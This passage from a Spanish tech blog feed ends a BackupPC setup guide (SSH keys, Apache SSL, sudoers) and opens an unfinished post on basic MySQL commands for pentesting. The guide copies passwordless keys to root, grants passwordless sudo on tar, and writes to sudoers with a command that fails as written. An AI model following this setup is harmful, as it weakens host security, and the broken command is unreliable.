&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para poder usar rsync en Linux sin necesidad de poner contraseñas es necesario generar un certificado SSH sin contraseña (o usar uno ya disponible como el que tengo para servicios). Este certificado tiene que estar en el directorio de backuppc, por lo que es necesario logearnos con este para generar/usar el certificado.&lt;/p>
&lt;blockquote>
&lt;p>Puede fallar al copiar los certificados en caso de que el fichero de SSH no tenga puesto &lt;em>permitRootLogin yes&lt;/em>.&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo su - backuppc &lt;span class="c1"># login user backuppc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id root@4770k &lt;span class="c1"># envia el certificado id_rsa.pub, sino se llama asi renombrarlo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id root@xiaomi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id root@zero
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># login a servers para anadir los fingerprint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/usr/bin/ssh -q -x -l root rp4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/usr/bin/ssh -q -x -l root xiaomi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/usr/bin/ssh -q -x -l root zero
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Después seria necesario loguearse a cada maquina para que se quede registrado el fingerprinter de cada una y así no lo vuelva a pedir.&lt;/p>
&lt;p>Una vez hecho esto, la configuración de SSL por parte de apache seria la siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bASH" data-lang="bASH">&lt;span class="line">&lt;span class="cl">sudo mkdir -p /etc/apache2/ssl/ &lt;span class="c1"># Creamos directorio donde guardar certificados&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Enviamos los certificados&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">scp procamora@4770k:/home/procamora/Documents/CA/server/backuppc.key /etc/apache2/ssl/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">scp procamora@4770k:/home/procamora/Documents/CA/server/backuppc.cert /etc/apache2/ssl/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">scp procamora@4770k:/home/procamora/Documents/CA/ca/cacert.cert /etc/apache2/ssl/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Cogemos la plantilla de ssl y la modificamos&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo cp /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-available/backuppc.conf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Editamos el fichero que acabamos de crear añadiéndole la ruta de los certificados, el DocumentRoot y ServerName.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo vim /etc/apache2/sites-available/backuppc.conf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&amp;lt;IfModule mod_ssl.c&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;VirtualHost _default_:443&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ServerAdmin webmaster@localhost
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ServerName backuppc.procamora.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ServerAlias backuppc.procamora.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> DocumentRoot /usr/share/backuppc/cgi-bin/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Available loglevels: trace8, ..., trace1, debug, info, notice, warn,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#LogLevel info ssl:warn&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ErrorLog &lt;span class="si">${&lt;/span>&lt;span class="nv">APACHE_LOG_DIR&lt;/span>&lt;span class="si">}&lt;/span>/error.log
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> CustomLog &lt;span class="si">${&lt;/span>&lt;span class="nv">APACHE_LOG_DIR&lt;/span>&lt;span class="si">}&lt;/span>/access.log combined
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># SSL Engine Switch:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Enable/Disable SSL for this virtual host.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> SSLEngine on
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> SSLCertificateFile /etc/apache2/ssl/backuppc.cert
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> SSLCertificateKeyFile /etc/apache2/ssl/backuppc.key
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLCACertificatePath /etc/ssl/certs/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> SSLCACertificateFile /etc/apache2/ssl/cacert.cert
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLCARevocationPath /etc/apache2/ssl.crl/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLVerifyClient require&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLVerifyDepth 10&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;FilesMatch &lt;span class="s2">&amp;#34;\.(cgi|shtml|phtml|php)&lt;/span>$&lt;span class="s2">&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> SSLOptions +StdEnvVars
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;/FilesMatch&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> SSLOptions +StdEnvVars
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;/Directory&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;/VirtualHost&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;lt;/IfModule&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez que están configurado el fichero, lo que faltara sería: habilitar el modulo de SSL, habilitar el VirtualHost que hemos creado y reiniciar la configuración de Apache:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo a2enmod ssl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo a2ensite backuppc.conf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl reload apache2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Por ultimo, para poder hacer backup locales es necesario que el usuario backuppc pueda ejecutar el comando tar como sudo son contraseña:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;backuppc ALL=NOPASSWD: /bin/tar&amp;#34;&lt;/span> &amp;gt; /etc/sudoers.d/backuppc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez realizada toda esta configuración, ya solo quedaría conectarnos por el navegador a la url: &lt;a class="link" href="http://192.168.1.71/backuppc/" target="_blank" rel="noopener"
>http://192.168.1.71/backuppc/&lt;/a> o a
&lt;a class="link" href="https://backuppc.procamora.com" target="_blank" rel="noopener"
>https://backuppc.procamora.com&lt;/a>.&lt;/p>
&lt;p>En la sección host tendremos que añadir todos los host a los que queremos realizar copias de seguridad y en la sección xfer pondremos que el protocolo por defecto es rsync y los directorios a los que queremos realizar copias de seguridad. También podemos excluir ficheros como (*.iso, *.class, *.pyc, etc). Dentro de cada host podemos sobrescribir estas reglas poniendo algunas mas especificas.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">http://backuppc.sourceforge.net/faq/localhost.html
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http://backuppc.sourceforge.net/faq/ssh.html
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">https://backuppc.procamora.com/backuppc/index.cgi?action=view&amp;amp;type=docs#_conf_xferloglevel_SSH
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Recuperar fichero comprimido por backuppc
sudo perl -MCompress::Zlib -e &amp;lsquo;undef $/; print uncompress(&amp;lt;&amp;gt;)&amp;rsquo; &amp;lt; /media/HDD/backuppc/pc/rp3/119/f%2fetc%2f/fbackuppc/fapache.conf&lt;/p>
&lt;/blockquote>
&lt;p>###################################################### d&lt;/p>
&lt;p>sudo mkdir /lib/systemd/system/mio
sudo touch /lib/systemd/system/mio/client_ssh.service
sudo chmod 644 /lib/systemd/system/mio/client_ssh.service&lt;/p></description></item><item><title>Comandos basicos SQL para Pentesting (WIP)</title><link>https://www.procamora.com/p/comandos_basicos_sql_para_pentesting/</link><pubDate>Mon, 07 Sep 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/comandos_basicos_sql_para_pentesting/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Comandos basicos SQL para Pentesting (WIP)" />&lt;p>En este articulo se van a hablar de los comandos mas relevantes para tratar Bases de Datos SQL. Se van a tratar los principales motores de BD. El objetivo es ser capaz de realizar las principales operaciones que se pueden realizar en un pentesting. Tanto desde el punto de vista de conectarse a una BD victima como de desplegar nuestra propia BD para realizar pruebas.&lt;/p>
&lt;p>Los motores de BD que se van a tratar son los siguientes:&lt;/p>
&lt;ul>
&lt;li>Familia MySQL (MySQL, MariaDB, etc)&lt;/li>
&lt;li>PostgreSQL&lt;/li>
&lt;li>Oracle&lt;/li>
&lt;li>SQL Server&lt;/li>
&lt;/ul>
&lt;h1 id="familia-mysql-mysql-mariadb-etc">Familia MySQL (MySQL, MariaDB, etc)&lt;/h1>
&lt;p>El primer paso sera conectarnos a la base de datos, esto se puede realizar de multiples formas, pero la mas rápida es realizarlo desde con consola con el comando &lt;em>mysql&lt;/em>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">mysql -h 127.0.0.1 -uroot -ppass &lt;span class="o">[&lt;/span>-D db_name&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si no se quiere poner la contraseña en el propio comando simplemente hay que dejar el argumento &lt;em>-p&lt;/em> vacio y el comando &lt;em>mysql&lt;/em> te pedira la contraseña.&lt;/p>
&lt;p>Se puede indicar la BD a la que nos conectamos de forma opcional con el argumento &lt;em>-D&lt;/em>.&lt;/p>
&lt;h2 id="visualizar-bases-de-datos-y-tablas">Visualizar bases de datos y tablas&lt;/h2>
&lt;p>Una vez que estamos conectados a la BD, podremos ejecutar los siguientes comandos:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>show databases&lt;/strong>: Para mostrar las BD disponibles.&lt;/li>
&lt;li>&lt;strong>use test_db&lt;/strong>: Para seleccionar la BD test_db.&lt;/li>
&lt;li>&lt;strong>show tables&lt;/strong>: Para mostrar las tablas disponibles en la BD test_db.&lt;/li>
&lt;li>&lt;strong>desc table1&lt;/strong>: Para mostrar las columnas de la tabla table1.&lt;/li>
&lt;li>&lt;strong>show columns from table1&lt;/strong>: Para mostrar las columnas de la tabla table1.&lt;/li>
&lt;/ul>
&lt;p>Aqui se muestran los comandos descritos anteriormente. Es importante destacar que todos los comandos tienen que terminar el punto y coma (&lt;strong>;&lt;/strong>).&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">show&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">databases&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="n">use&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">test_db&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">show&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">tables&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">desc&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">table1&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">show&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">columns&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">table1&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">#&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">es&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">igual&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">desc&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="gestión-de-bases-de-datos-y-tablas">Gestión de bases de datos y tablas&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">create&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">database&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">test_db&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">table3&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">not&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">null&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">auto_increment&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">primary&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">key&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="k">user&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">35&lt;/span>&lt;span class="p">),&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">),&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">description&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">default&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;bato&amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>drop table [table name];&lt;/p>
&lt;p>select 1;&lt;/p>
&lt;h2 id="gestion-de-usuarios">Gestion de usuarios&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">USER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;user1&amp;#39;&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="s1">&amp;#39;localhost&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">IDENTIFIED&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">BY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;pass1&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">DROP&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">USER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">user1&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="err">‘&lt;/span>&lt;span class="n">localhost&lt;/span>&lt;span class="err">’&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>cambiar contraseña de un usuario, que no sea root, ya que para este es necesario parar el serivicio y colocar este comando en un fichero de autoarranque de mysql.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">ALTER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">USER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;user1&amp;#39;&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="s1">&amp;#39;localhost&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">IDENTIFIED&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">BY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;pass2&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="gestion-de-permisos">Gestion de permisos&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
